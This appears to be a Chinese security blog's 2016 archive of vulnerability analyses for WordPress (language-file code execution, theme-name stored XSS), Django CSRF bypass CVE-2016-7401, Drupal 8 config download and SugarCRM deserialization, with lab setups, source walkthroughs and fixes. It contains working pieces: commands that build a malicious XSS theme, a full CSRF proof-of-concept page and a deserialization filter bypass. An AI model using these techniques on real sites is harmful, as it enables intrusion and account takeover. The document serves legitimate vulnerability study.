imp0wd3r.github.io

Wordpress <= 4.6.1 使用语言文件任意代码执行漏洞分析

Sun, 09 Oct 2016 00:00:00 +0000

0x00 漏洞概述

1.漏洞简介

WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统，近日在github （https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97）上爆出这样一个漏洞，在其<=4.6.1版本中，如果网站使用攻击者提前构造好的语言文件来对网站、主题、插件等等来进行翻译的话，就可以执行任意代码。

2.漏洞影响

任意代码执行，但有以下两个前提：

攻击者可以上传自己构造的语言文件，或者含有该语言文件的主题、插件等文件夹
网站使用攻击者构造好的语言文件来对网站、主题、插件等进行翻译

这里举一个真实场景中的例子：攻击者更改了某个插件中的语言文件，并更改了插件代码使插件初始化时使用恶意语言文件对插件进行翻译，然后攻击者通过诱导管理员安装此插件来触发漏洞。

3.影响版本

<= 4.6.1

0x01 漏洞复现

1. 环境搭建

docker pull wordpress:4.6.1
docker pull mysql
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysql
docker run --name wp --link wp-mysql:mysql -d wordpress

2.漏洞分析

首先我们来看这样一个场景：

在调用create_function时，我们通过}将原函数闭合，添加我们想要执行的内容后再使用/*将后面不必要的部分注释掉，最后即使我们没有调用创建好的函数，我们添加的新内容也依然被执行了。之所以如此，是因为create_function内部使用了eval来执行代码，我们看PHP手册上的说明：

所以由于这个特性，如果我们可以控制create_function的$code参数，那就有了任意代码执行的可能。这里要说一下，create_function这个漏洞最早由80sec在08年提出，这里提供几个链接作为参考：

接下来我们看Wordpress中一处用到create_function的地方，在wp-includes/pomo/translations.php第203-209行：

/**
 * Makes a function, which will return the right translation index, according to the
 * plural forms header
 * @param int    $nplurals
 * @param string $expression
 */
function make_plural_form_function($nplurals, $expression) {
	$expression = str_replace('n', '$n', $expression);
	$func_body = "
		\$index = (int)($expression);
		return (\$index < $nplurals)? \$index : $nplurals - 1;";
	return create_function('$n', $func_body);
}

根据注释可以看到该函数的作用是根据字体文件中的plural forms这个header来创建函数并返回，其中$expression用于组成$func_body，而$func_body作为$code参数传入了create_function，所以关键是控制$expresstion的值。

我们看一下正常的字体文件zh_CN.mo，其中有这么一段：

Plural-Froms这个header就是上面的函数所需要处理的，其中nplurals的值即为$nplurals的值，而plural的值正是我们需要的$expression的值。所以我们将字体文件进行如下改动：

然后我们在后台重新加载这个字体文件，同时进行动态调试，可以看到如下情景：

我们payload中的)首先闭合了前面的(，然后；结束前面的语句，接着是我们的一句话木马，然后用/*将后面不必要的部分注释掉，通过这样，我们就将payload完整的传入了create_function，在其创建函数时我们的payload就会被执行，由于访问每个文件时都要用这个对字体文件解析的结果对文件进行翻译，所以我们访问任何文件都可以触发这个payload：

其中访问index.php?c=phpinfo();的函数调用栈如下：

3.补丁分析

目前官方还没有发布补丁，最新版仍存在该漏洞。

0x02 修复方案

在官方发布补丁前建议管理员增强安全意识，不要使用来路不明的字体文件、插件、主题等等。

对于开发者来说，建议对$expression中的特殊符号进行过滤，例如：

$not_allowed = array(";", ")", "}");
$experssion = str_replace($not_allowed, "", $expression);

0x03 参考

https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97

http://php.net/manual/zh/function.create-function.php

https://www.exploit-db.com/exploits/32416/

https://bugs.php.net/bug.php?id=48231

http://www.2cto.com/Article/201212/177146.html

https://codex.wordpress.org/Installing_WordPress_in_Your_Language

Wordpress <= 4.6.1 使用主题文件触发存储型XSS 漏洞分析

Sat, 08 Oct 2016 00:00:00 +0000

0x00 漏洞概述

1.漏洞简介

WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统，近日研究者发现在其<=4.6.1版本中，通过上传恶意构造的主题文件可以触发一个后台存储型XSS漏洞。通过该漏洞，攻击者可以在能够上传主题文件的前提下执行获取管理员Cookie等敏感操作。

2.漏洞影响

在能够上传主题文件的前提下执行获取管理员Cookie等XSS可以进行的攻击，实际的攻击场景有以下两种：

攻击者诱导管理员上传恶意构造的主题文件，且管理员并没有对文件进行检查
攻击者拥有管理员权限可以直接上传主题文件，但既然已经有管理员权限再进行这样的攻击也就多此一举了

3.影响版本

<= 4.6.1

0x01 漏洞复现

1. 环境搭建

docker pull wordpress:4.6.1
docker pull mysql
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysql
docker run --name wp --link wp-mysql:mysql -d wordpress

2.漏洞分析

我们先随便下载一个主题：

wget https://downloads.wordpress.org/theme/illdy.1.0.29.zip
unzip -x illdy.1.0.29.zip

然后对illdy/style.css进行如下更改：

/*
Theme Name: <svg onload=alert(1234)>
... DO NOT CHANGES HERE ...
*/

接着更改文件夹名字再打包：

mv illdy "<svg onload=alert(5678)>"
zip -r theme.zip "<svg onload=alert(5678)>"

构造好之后我们登录后台上传该主题文件，同时开始动态调试。

首先进入wp-admin/includes/class-theme-installer-skin.php中第55-82行：

$name = $theme_info->display('Name');
...

if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
	$install_actions['preview'] = '<a href="' . wp_customize_url( $stylesheet ) . '" class="hide-if-no-customize load-customize"><span aria-hidden="true">' . __( 'Live Preview' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Live Preview &#8220;%s&#8221;' ), $name ) . '</span></a>';
}
$install_actions['activate'] = '<a href="' . esc_url( $activate_link ) . '" class="activatelink"><span aria-hidden="true">' . __( 'Activate' ) . '</span><span class="screen-reader-text">' . sprintf( __( 'Activate &#8220;%s&#8221;' ), $name ) . '</span></a>';

其中$theme_info的值如下：

其中stylesheet和template的值为我们更改的文件夹名，headers.Name为更改的style.css中的Name。$theme_info中有我们可控的payload，其调用display函数后赋值给$name，$name直接与html拼接，所以关键点在display函数上，动态调试跟进到wp-includes/class-wp-theme.php中第630-646行：

public function display( $header, $markup = true, $translate = true ) {
	$value = $this->get( $header );
	if ( false === $value ) {
		return false;
	}

	if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) )
		$translate = false;

	if ( $translate )
		$value = $this->translate_header( $header, $value );

	if ( $markup )
		$value = $this->markup_header( $header, $value, $translate );

	return $value;
}

由之前的调用可知，这里的$header的值为Name。首先看$this-get($header)，在wp-includes/class-wp-theme.php中第594-617行：

public function get( $header ) {
		...
			$this->headers_sanitized[ $header ] = $this->sanitize_header( $header, $this->headers[ $header ] );
		...
		return $this->headers_sanitized[ $header ];
	}

这里省略了与漏洞无关的部分，程序进入了$this->sanitize_header，在wp-includes/class-wp-theme.php第661-705行：

private function sanitize_header( $header, $value ) {
	switch ( $header ) {
		...
		case 'Name' :
			static $header_tags = array(
				'abbr'    => array( 'title' => true ),
				'acronym' => array( 'title' => true ),
				'code'    => true,
				'em'      => true,
				'strong'  => true,
			);
			$value = wp_kses( $value, $header_tags );
			break;
		...
}

这里执行了Name这个分支，可以看到程序使用wp_kses对$value的值进行了过滤，仅允许$header_tags中的html符号，所以我们headers.Name的值<svg onload=alert(1234)>是不合法的，$value值被赋为空。

然后程序回到了display函数，根据动态调试可以知道程序执行了$value = $this->markup_header( $header, $value, $translate );这个条件分支，再跟进，在wp-includes/class-wp-theme.php中第720-748行：

private function markup_header( $header, $value, $translate ) {
	switch ( $header ) {
		case 'Name' :
			if ( empty( $value ) )
				$value = $this->get_stylesheet();
			break;
		...
	return $value;
}

这里我们看到由于$value在之前被赋为空，导致此处$value被重新赋值为了$this->get_stylesheet()，也就是值为<svg onload=alert(5678)>的stylesheet变量。最后返回的$value赋给了$name，$name再与html拼接返回给客户端，从而触发了漏洞：

这个漏洞有趣的地方在于style.css中的payload其实起到的是一个障眼法的作用，正是因为<svg onload=alert(1234)>被过滤了才使$value被赋值成了我们真正的payload<svg onload=alert(5678)>。所以在构造主题文件的时候style.css和文件夹名这两个地方都要更改。

3.补丁分析

可能是由于利用条件十分苛刻，目前Wordpress官方还没有发布补丁，最新版Wordpress仍存在该漏洞。

0x02 修复方案

在官方发布补丁前，管理员应提高安全意识，不要轻易使用来路不明的主题。

对于开发者来说建议对$name进行合法性检查，例如这样：

$allowed_html = array(
	'em'      => true,
	'strong'  => true,
);
$name = wp_kses($name, $allowed_html);

0x03 参考

https://www.mehmetince.net/low-severity-wordpress-461-stored-xss-via-theme-file

https://codex.wordpress.org/Function_Reference/wp_kses

Django CSRF Bypass (CVE-2016-7401) 漏洞分析

Wed, 28 Sep 2016 00:00:00 +0000

0x00 漏洞概述

1.漏洞简介

Django是一个由Python写成的开源Web应用框架。在两年前有研究人员在hackerone上提交了一个利用Google Analytics来绕过Django的CSRF防护机制的漏洞(CSRF protection bypass on any Django powered site via Google Analytics)，通过该漏洞，当一个网站使用了Django作为Web框架并且设置了Django的CSRF防护机制，同时又使用了Google Analytics的时候，攻击者可以构造请求来对CSRF防护机制进行绕过。

2.漏洞影响

网站满足以下三个条件的情况下攻击者可以绕过Django的CSRF防护机制：

使用Google Analytics来做数据统计
使用Django作为Web框架
使用基于Cookie的CSRF防护机制（Cookie中的某个值和请求中的某个值必须相等）

3.影响版本

Django 1.9.x < 1.9.10

Django 1.8.x < 1.8.15

Python2 < 2.7.9

Python3 < 3.2.7

0x01 漏洞复现

1. 环境搭建

pip install django==1.9.9
django-admin startproject project
cd project
python manage.py startapp app
cd app
将 'app' 添加到 project/project/settings.py 中的 INSTALLDE_APPS 列表中
更改或添加下列文件：

project/app/views.py:

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.

def check(req):
    if req.method == 'POST':
        return HttpResponse('CSRF check successfully!')
    else:
        return render(req, 'check.html')

def ga(req):
    return render(req, 'ga.html')

project/project/urls.py:

from django.conf.urls import url
from django.contrib import admin

from app.views import check, ga

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^check/', check, name='check'),
    url(r'^ga/', ga, name='ga'),
]

project/app/templates/check.html：

<form action="/check/" method="POST">
    
    {% csrf_token %}
    
    <input type="submit" value="Check"></input>
</form> 

project/app/templates/ga.html（放置Goolge Analytics脚本的页面）：

<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-XXXXX-X']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>

最后运行开启Django内置server：

# project/
python manage.py runserver

2.漏洞分析

我们先来看这样一个场景：

当python内置的Cookie.SimpleCookie()解析a=hello]b=world这种形式的字符串时会以]作为分隔，最后取得a=hello和b=world这两个cookie，那么为什么会这样呢？

我们看一下源码，Ubuntu下/usr/lib/python2.7/Cookie.py第622-663行：

def load(self, rawdata):
    """Load cookies from a string (presumably HTTP_COOKIE) or
    from a dictionary.  Loading cookies from a dictionary 'd'
    is equivalent to calling:
        map(Cookie.__setitem__, d.keys(), d.values())
    """
    if type(rawdata) == type(""):
        self.__ParseString(rawdata)
    else:
        # self.update() wouldn't call our custom __setitem__
        for k, v in rawdata.items():
            self[k] = v
    return
# end load()

def __ParseString(self, str, patt=_CookiePattern):
    i = 0            # Our starting point
    n = len(str)     # Length of string
    M = None         # current morsel

    while 0 <= i < n:
        # Start looking for a cookie
        match = patt.search(str, i)
        if not match: break          # No more cookies

        K,V = match.group("key"), match.group("val")
        i = match.end(0)

        ...

当传入load一个字符串时，调用__ParseString，在__ParseString中有这样一句：match = patt.search(str, i)，根据之前定义的pattern来查找字符串中符合pattern的cookie，_CookiePattern在529-545行：

_LegalCharsPatt  = r"[\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=]"
_CookiePattern = re.compile(
    r"(?x)"                       # This is a Verbose pattern
    r"(?P<key>"                   # Start of group 'key'
    ""+ _LegalCharsPatt +"+?"     # Any word of at least one letter, nongreedy
    r")"                          # End of group 'key'
    r"\s*=\s*"                    # Equal Sign
    r"(?P<val>"                   # Start of group 'val'
    r'"(?:[^\\"]|\\.)*"'            # Any doublequoted string
    r"|"                            # or
    r"\w{3},\s[\s\w\d-]{9,11}\s[\d:]{8}\sGMT" # Special case for "expires" attr
    r"|"                            # or
    ""+ _LegalCharsPatt +"*"        # Any word or empty string
    r")"                          # End of group 'val'
    r"\s*;?"                      # Probably ending in a semi-colon
    )

在这里我们看到]并没有在_LegalCharsPatt中，由于代码中使用的是search函数，所以在匹配a=hello后碰到]会跳过这个字符然后再匹配b=world。因此正是因为使用search函数来匹配，所以当a=hello后面是任意一个不在_LegalCharsPatt中的字符（例如[、\、]、\x09、\x0b、\x0c）都会达到同样的效果：

c.load('a=helloXb=world') # X为上述字符
SetCookie: a='hello' b='world'

这个漏洞也正是整个Bypass的核心所在。

我们再来看Django（1.9.9）中对cookie的解析，在http/cookie.py中第91-106行：

def parse_cookie(cookie):
    if cookie == '':
        return {}
    if not isinstance(cookie, http_cookies.BaseCookie):
        try:
            c = SimpleCookie()
            c.load(cookie)
        except http_cookies.CookieError:
            # Invalid cookie
            return {}
    else:
        c = cookie
    cookiedict = {}
    for key in c.keys():
        cookiedict[key] = c.get(key).value
    return cookiedict

根据动态调试发现这里的SimpleCookie也就是我们上面所说的存在漏洞的对象，从而可以确定Django中对cookie的处理也是存在漏洞的。

我们再来看看Django的CSRF防护机制，默认CSRF防护中间件是开启的，我们访问http://127.0.0.1:8000/check/，点击Check然后抓包：

可以看到csrftoken和csrfmiddlewaretoken的值是相同的，其中csrfmiddlewaretoken的值如图：

也就是Django对check.html中的{% csrf_token %}所赋的值。

我们再改下包，使csrftoken和csrfmiddlewaretoken不相等，这回服务器就会返回403：

我们再把两个值都改成另外一个值看看：

依然成功。

所以Django对于CSRF的防护就是判断cookie中的csrftoken和提交的csrfmiddlewaretoken的值是否相等。

那么如果想Bypass这个防护机制，就是要想办法设置受害者的cookie中的csrftoken值为攻击者构造的csrdmiddlewaretoken的值。

如何设置受害者cookie呢？Google Analytics帮了我们这个忙，它为了追踪用户，会在用户浏览时添加如下cookie：

__utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH]

其中[HOST]和[PATH]是由Referer确定的，也就是说当Referer: http://x.com/helloworld时，cookie如下：

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=helloworld

由于Referer是我们可以控制的，所以也就有了设置受害者cookie的可能，但是如何设置csrftoken的值呢？

这就用到了我们上面说的Django处理cookie的漏洞，当我们设置Referer为http://x.com/hello]csrftoken=world，GA设置的cookie如下：

__utmz=123456.123456789.11.2.utmcsr=x.com|utmccn=(referral)|utmcmd=referral|utmcct=hello]csrftoken=world

当Django解析cookie时就会触发上面说的漏洞，将cookie中csrftoken的值赋为world。

实际操作一下，为了方便路由我们在另一个IP上再开一个DjangoApp作为中转，其中各文件如下：

urls.py:

from django.conf.urls import url
from django.contrib import admin

from app.views import route

urlpatterns = [
    url(r'^admin/', admin.site.urls),
    url(r'^hello', route)
]

views.py:

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.

def route(req):
    return render(req, 'route.html')

route.html:

<script> window.location = 'http://127.0.0.1:8000/ga/'; </script>

开启中转App：python manage.py runserver xxx

构造一个攻击页面：

<form id="csrf" action="http://127.0.0.1:8000/check/" method="POST">
    <input type="hidden" name="csrfmiddlewaretoken" value="boom">
</form>

<script type="text/javascript" charset="utf-8">
function sleep (time) {
      return new Promise((resolve) => setTimeout(resolve, time));
}

function poc() {
    window.open('http://redirect-server/hello]csrftoken=boom');

    sleep(1000).then(() => {
        document.getElementById('csrf').submit();
    });
}
</script>

<a href='#' onclick=poc()> Click me </a>

当我们点击Click me，会先打开一个窗口，再回到原窗口，就可以看到保护机制已经绕过：

再访问一下http://127.0.0.1:8000/check/，可以看到此时cookie中的csrftoken和form中的csrfmiddlewaretoken都已被设置成boom，证明漏洞成功触发：

攻击流程如下：

3.补丁分析

Python

可以看到这个漏洞在根本上是原生Python的漏洞，首先看最早在2.7.9中的patch：

将search改成了match函数，所以再遇到非法符号匹配会停止。

再看该文件在2.7.10中的patch：

这里将[\]设置为了合法的value中的字符，也就是

>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: __utmz='blah]csrftoken=x'>

同样Python3在3.2.7和3.3.6中也做了相应patch：

不过尽管上面对[\]做了限制，但是由于pattern最后\s*的存在，所以在以下情况下仍然存在漏洞：

>>> import Cookie
>>> C = Cookie.SimpleCookie()
>>> C.load('__utmz=blah csrftoken=x')
>>> C.load('__utmz=blah\x09csrftoken=x')
>>> C.load('__utmz=blah\x0bcsrftoken=x')
>>> C.load('__utmz=blah\x0ccsrftoken=x')
>>> C
<SimpleCookie: __utmz='blah' csrftoken='x'>

这些情况在最新的Python中并没有被修复，不过在实际情况中由于浏览器和脚本的原因，这些字符不一定会保存原样发送给Python处理，所以在利用上还要根据场景来分析。

Django

Django在1.9.10和1.8.15中做了相同的patch：

它放弃了使用Python内置库来处理cookie，而是自己根据;分割再取值，使特殊符号不再起作用。

0x02 修复方案

升级Python

升级Django

0x03 参考

https://hackerone.com/reports/26647

https://github.com/django/django/commit/d1bc980db1c0fffd6d60677e62f70beadb9fe64a

https://developers.google.com/analytics/devguides/collection/analyticsjs/cookie-usage

Drupal 8 配置文件下载漏洞

Thu, 22 Sep 2016 00:00:00 +0000

0x00 漏洞概述

1.漏洞简介

Drupal是一个自由开源的內容管理系统，近期研究者发现在其8.x < 8.1.10的版本中发现了三个安全漏洞，其中一个漏洞攻击者可以在未授权的情况下下载管理员之前导出的配置文件压缩包config.tar.gz。Drupal官方在9月21日发布了升级公告。

2.漏洞影响

未授权状态下下载管理员之前导出的配置文件

3.影响版本

8.x < 8.1.10

0x01 漏洞复现

1. 环境搭建

Dockerfile（来自Docker Hub）

# from https://www.drupal.org/requirements/php#drupalversions
FROM php:7.0-apache

RUN a2enmod rewrite

# install the PHP extensions we need
RUN apt-get update && apt-get install -y libpng12-dev libjpeg-dev libpq-dev \
	&& rm -rf /var/lib/apt/lists/* \
	&& docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \
	&& docker-php-ext-install gd mbstring opcache pdo pdo_mysql pdo_pgsql zip

# set recommended PHP.ini settings
# see https://secure.php.net/manual/en/opcache.installation.php
RUN { \
		echo 'opcache.memory_consumption=128'; \
		echo 'opcache.interned_strings_buffer=8'; \
		echo 'opcache.max_accelerated_files=4000'; \
		echo 'opcache.revalidate_freq=60'; \
		echo 'opcache.fast_shutdown=1'; \
		echo 'opcache.enable_cli=1'; \
	} > /usr/local/etc/php/conf.d/opcache-recommended.ini

WORKDIR /var/www/html

# https://www.drupal.org/node/3060/release
ENV DRUPAL_VERSION 8.1.9
ENV DRUPAL_MD5 4de7c001ecbd5c27e5837c97e40facc2

RUN curl -fSL "https://ftp.drupal.org/files/projects/drupal-${DRUPAL_VERSION}.tar.gz" -o drupal.tar.gz \
	&& echo "${DRUPAL_MD5} *drupal.tar.gz" | md5sum -c - \
	&& tar -xz --strip-components=1 -f drupal.tar.gz \
	&& rm drupal.tar.gz \
	&& chown -R www-data:www-data sites modules themes

docker run --name dp -p 8080:80 -d drupal

2.漏洞分析

首先我们进入后台把配置文件导出，默认导出到了/tmp/config.tar.gz。

然后看代码，我们在core/modules/system/system.routing.yml可以看到这样一个路由项：

这是访问管理员页面时的路由，可以看到requirements._permission指定了需要管理员权限。

然后我们再看这一项：

可以看到并没有设置_permission，并且_access=TRUE，也就是说在未授权的情况下是可以访问这个功能的。

接下来我们跟进它的controller，在core/modules/system/src/FileDownloadController.php第41-68行的download函数：

public function download(Request $request, $scheme = 'private') {
    $target = $request->query->get('file');
    // Merge remaining path arguments into relative file path.
    $uri = $scheme . '://' . $target;

    if (file_stream_wrapper_valid_scheme($scheme) && file_exists($uri)) {
      // Let other modules provide headers and controls access to the file.
      $headers = $this->moduleHandler()->invokeAll('file_download', array($uri));

      foreach ($headers as $result) {
        if ($result == -1) {
          throw new AccessDeniedHttpException();
        }
      }

      if (count($headers)) {
        return new BinaryFileResponse($uri, 200, $headers, $scheme !== 'private');
      }

      throw new AccessDeniedHttpException();
    }

    throw new NotFoundHttpException();
  }

函数获取了我们传入的file参数，与$scheme拼接后检测文件是否存在。我们访问 http://xxx/system/temporary/?file=config.tar.gz 然后下断点动态调试，执行到该函数时各变量的值如下：

也就是说$scheme的值是temporary。然后程序进入了file_stream_wrapper_valid_scheme函数检查协议有效性，动态跟进直到core/lib/Drupal/Core/StreamWrapper/LocalStream.php中第495-506行的url_stat函数：

可以看到temporary：//config.tar.gz被映射到了/tmp/config.tar.gz，也就是我们刚备份到的位置，所以也就通过了file_exists。

通过检查后回到download函数中，接下来执行了如下语句：

$headers = $this->moduleHandler()->invokeAll('file_download', array($uri));

跟进invokeAll函数，在core/lib/Drupal/Core/Extension/ModuleHandler.php中第397-409行：

public function invokeAll($hook, array $args = array()) {
    $return = array();
    $implementations = $this->getImplementations($hook);
    foreach ($implementations as $module) {
      $function = $module . '_' . $hook;
      $result = call_user_func_array($function, $args);
      if (isset($result) && is_array($result)) {
        $return = NestedArray::mergeDeep($return, $result);
      }
      elseif (isset($result)) {
        $return[] = $result;
      }
    }
  }

动态调试情况如下图：

implementations的值有config, file, image，遍历这三个值并调用相应函数：

config_file_download
file_file_download
image_file_download

首先调用的是config_file_download，位于core/modules/config/config.module第64-78行：

function config_file_download($uri) {
  $scheme = file_uri_scheme($uri);
  $target = file_uri_target($uri);
  if ($scheme == 'temporary' && $target == 'config.tar.gz') {
    $request = \Drupal::request();
    $date = DateTime::createFromFormat('U', $request->server->get('REQUEST_TIME'));
    $date_string = $date->format('Y-m-d-H-i');
    $hostname = str_replace('.', '-', $request->getHttpHost());
    $filename = 'config' . '-' . $hostname . '-' . $date_string . '.tar.gz';
    $disposition = 'attachment; filename="' . $filename . '"';
    return array(
      'Content-disposition' => $disposition,
    );
  }
}

可以看到当且仅当文件是config.tar.gz时设置响应头以供下载，最后当返回到download函数时，执行如下语句：

return new BinaryFileResponse($uri, 200, $headers, $scheme !== 'private');

将最终的响应返回给了用户，从而触发了下载漏洞。

到这里有一个想法，我们可不可以传入../../etc/passwd\x00config.tar.gz这样的参数来截断并且跳到别的目录呢？

我们看一下在core/lib/Drupal/Core/StreamWrapper/LocalStream.php中第120到144行的getLocalPath()函数，它在上面提到的url_stat函数中被调用：

protected function getLocalPath($uri = NULL) {
    if (!isset($uri)) {
      $uri = $this->uri;
    }
    $path = $this->getDirectoryPath() . '/' . $this->getTarget($uri);
    
    if (strpos($path, 'vfs://') === 0) {
      return $path;
    }

    $realpath = realpath($path);
    if (!$realpath) {
      // This file does not yet exist.
      $realpath = realpath(dirname($path)) . '/' . drupal_basename($path);
    }
    $directory = realpath($this->getDirectoryPath());
    if (!$realpath || !$directory || strpos($realpath, $directory) !== 0) {
      return FALSE;
    }
    return $realpath;
  }

可以看到路径中的../被realpath过滤，跳出/tmp的目的也就不能达到了。

另外还有一个方面，config_file_download函数比较苛刻，只允许下载config.tar.gz，而image_file_download是为了下载图片，那么file_file_download函数能否供我们利用以下载系统的敏感文件呢？

file_file_download函数在core/modules/file/file.module中第582-633行：

function file_file_download($uri) {
  // Get the file record based on the URI. If not in the database just return.
  /** @var \Drupal\file\FileInterface[] $files */
  $files = entity_load_multiple_by_properties('file', array('uri' => $uri));
  if (count($files)) {
    foreach ($files as $item) {
      if ($item->getFileUri() === $uri) {
        $file = $item;
        break;
      }
    }
  }
  if (!isset($file)) {
    return;
  }
...
}

有以下三点：

根据注释可以看到该函数是根据uri来查询数据库中的文件记录再进行下载
我们请求中的$scheme为temporary，在file_stream_wrapper_valid_scheme($scheme) && file_exists($uri)限制了我们只能下载/tmp目录下存在的文件
默认/tmp下除了config.tar.gz只有.htaccess

综合这三点来看file_file_download函数是不存在下载漏洞的。

所以总的来说该漏洞只能在管理员导出备份的情况下下载/tmp/config.tar.gz。

3.补丁分析

增加了权限验证，使未授权用户不能下载cnofig.tar.gz。

0x02 修复方案

升级Drupal到8.1.10

0x03 参考

https://www.drupal.org/SA-CORE-2016-004

SugarCRM v6.5.23 PHP反序列化对象注入漏洞

Mon, 12 Sep 2016 00:00:00 +0000

0x00 漏洞概述

1.漏洞简介

SugarCRM是一套开源的客户关系管理系统。近期研究者发现在其<=6.5.23的版本中存在反序列化漏洞，程序对攻击者恶意构造的序列化数据进行了反序列化的处理，从而使攻击者可以在未授权状态下执行任意代码。

2.漏洞影响

未授权状态下任意代码执行

3.影响版本

SugarCRM <= 6.5.23

PHP5 < 5.6.25

PHP7 < 7.0.10

0x01 漏洞复现

1. 环境搭建

Dockerfile:

FROM php:5.6-apache

# Install php extensions
RUN echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" > /etc/apt/sources.list \
    && echo "deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib" >> /etc/apt/sources.list \

RUN apt-get update \
    && apt-get install -y libpng12-dev libjpeg-dev wget \
    && docker-php-ext-configure gd --with-png-dir=/usr --with-jpeg-dir=/usr \
    && docker-php-ext-install -j$(nproc) mysqli gd zip


# Download and Extract SugarCRM
RUN wget https://codeload.github.com/sugarcrm/sugarcrm_dev/tar.gz/6.5.23 -O src.tar.gz \
	&& tar -zxvf src.tar.gz \
	&& mv sugarcrm_dev-6.5.23/* /var/www/html \
	&& rm src.tar.gz

docker build -t sugarcrm .
docker run -p 80:80 sugarcrm

2.基础准备

PHP之前爆出了一个漏洞（CVE-2016-7124），简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。Demo如下：

<?php
class Student{
    private $full_name = '';
    private $score = 0;
    private $grades = array();

    public function __construct($full_name, $score, $grades)
    {
        $this->full_name = $full_name;
        $this->grades = $grades;
        $this->score = $score;
    }

    function __destruct()
    {
        var_dump($this);
    }

    function __wakeup()
    {
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up...\n";
    }
}

// $s = new Student('p0wd3r', 123, array('a' => 90, 'b' => 100));
// file_put_contents('1.data', serialize($s));
$a = unserialize(file_get_contents('1.data'));

?>

Demo中在__wakeup中清除了对象属性，然后在__destruct中将对象信息dump出来。正常情况下，序列化得到的1.data是这样的：

O:7:"Student":3:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}

我们执行该脚本，结果如下：

可以看到对象属性已经被清除了。

下面我们将1.data改成下面这个样子（将上面的3变成5或者其他大于3的数字）：

O:7:"Student":5:{s:18:"Studentfull_name";s:6:"p0wd3r";s:14:"Studentscore";i:123;s:15:"Studentgrades";a:2:{s:1:"a";i:90;s:1:"b";i:100;}}

再执行脚本看看：

可以看到对象被dump出来了并且属性没有被清除，证明__wakeup并没有被执行。

这个漏洞很有趣，在下面的分析中我们会用到它。

3.漏洞分析

首先我们看service/core/REST/SugarRestSerialize.php中的serve函数：

function serve(){
	$GLOBALS['log']->info('Begin: SugarRestSerialize->serve');
	$data = !empty($_REQUEST['rest_data'])? $_REQUEST['rest_data']: '';
	if(empty($_REQUEST['method']) || !method_exists($this->implementation, $_REQUEST['method'])){
		...
	}else{
		$method = $_REQUEST['method'];
		$data = sugar_unserialize(from_html($data));
		...
	}
}

可以看到我们可控的$_REQUEST['rest_data']首先通过from_html将数据中HTML实体编码的部分解码，然后传入了sugar_unserialize函数。

跟进sugar_unserialize函数，在include/utils.php第5033-5048行：

/**
 * Performs unserialization. Accepts all types except Objects
 *
 * @param string $value Serialized value of any type except Object
 * @return mixed False if Object, converted value for other cases
 */
function sugar_unserialize($value)
{
    preg_match('/[oc]:\d+:/i', $value, $matches);

    if (count($matches)) {
        return false;
    }

    return unserialize($value);
}

从注释中可以看到该函数设计的初衷是为了不让Object类型被反序列化，然而正则不够严谨，我们可以在对象长度前加一个+号，即o:14 -> o:+14，即可绕过这层检测，从而使得我们可控的数据传入unserialize函数。

可控点找到了，接下来我们需要寻找有哪些对象可以利用，在include/SugarCache/SugarCacheFile.php中第90-108行：

public function __destruct()
{
    parent::__destruct();

    if ( $this->_cacheChanged )
        sugar_file_put_contents(sugar_cached($this->_cacheFileName), serialize($this->_localStore));
}

/**
* This is needed to prevent unserialize vulnerability
*/
public function __wakeup()
{
	// clean all properties
    foreach(get_object_vars($this) as $k => $v) {
        $this->$k = null;
    }
    throw new Exception("Not a serializable object");
}

我们看到了我们比较喜欢的magic方法，并且在__destruct中使用对象属性作为参数调用了sugar_file_put_contents。

跟进sugar_file_put_contents，在include/utils/sugar_file_utils.php第131到149行：

function sugar_file_put_contents($filename, $data, $flags=null, $context=null){
	//check to see if the file exists, if not then use touch to create it.
	if(!file_exists($filename)){
		sugar_touch($filename);
	}

	if ( !is_writable($filename) ) {
	    $GLOBALS['log']->error("File $filename cannot be written to");
	    return false;
	}

	if(empty($flags)) {
		return file_put_contents($filename, $data);
	} elseif(empty($context)) {
		return file_put_contents($filename, $data, $flags);
	} else{
		return file_put_contents($filename, $data, $flags, $context);
	}
}

函数并没有对文件内容或者扩展名等进行限制，虽然参数$data是serialize($this->_localStore)，也就是序列化后的数据，但是我们可以设置$_this->_localStore为一个数组，把payload作为数组中的一个值，就可以完整保存payload。

这样如果我们可以传入一个SugarCacheFile对象并设置其属性的值，我们就可以写入文件。

然而不巧的是，__wakeup会在__destroy之前调用，并且我们可以看到在__wakeup中对所有对象属性进行了清除。

那么该如何跨过这个限制呢？

想必大家都已经知道了，就是利用我们上面说的PHP的漏洞来跳过__wakeup的执行。

最后，整个漏洞的流程如下：

